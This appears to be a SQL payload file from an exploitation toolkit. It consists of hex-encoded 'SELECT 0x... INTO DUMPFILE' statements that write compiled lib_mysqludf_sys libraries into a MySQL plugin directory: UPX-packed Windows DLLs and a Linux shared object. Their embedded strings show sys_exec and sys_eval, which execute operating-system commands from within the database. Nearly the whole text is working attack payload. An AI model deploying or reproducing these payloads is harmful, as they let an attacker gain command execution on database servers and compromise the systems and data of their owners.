64686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.3\\\\lib\\\\plugin\\\\udf.dll';lib_mysqludf_sys_64.dll1SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.3\\\\lib\\\\plugin\\\\udf.dll';lib_mysqludf_sys_32.so1SELECT 0x7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f29000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000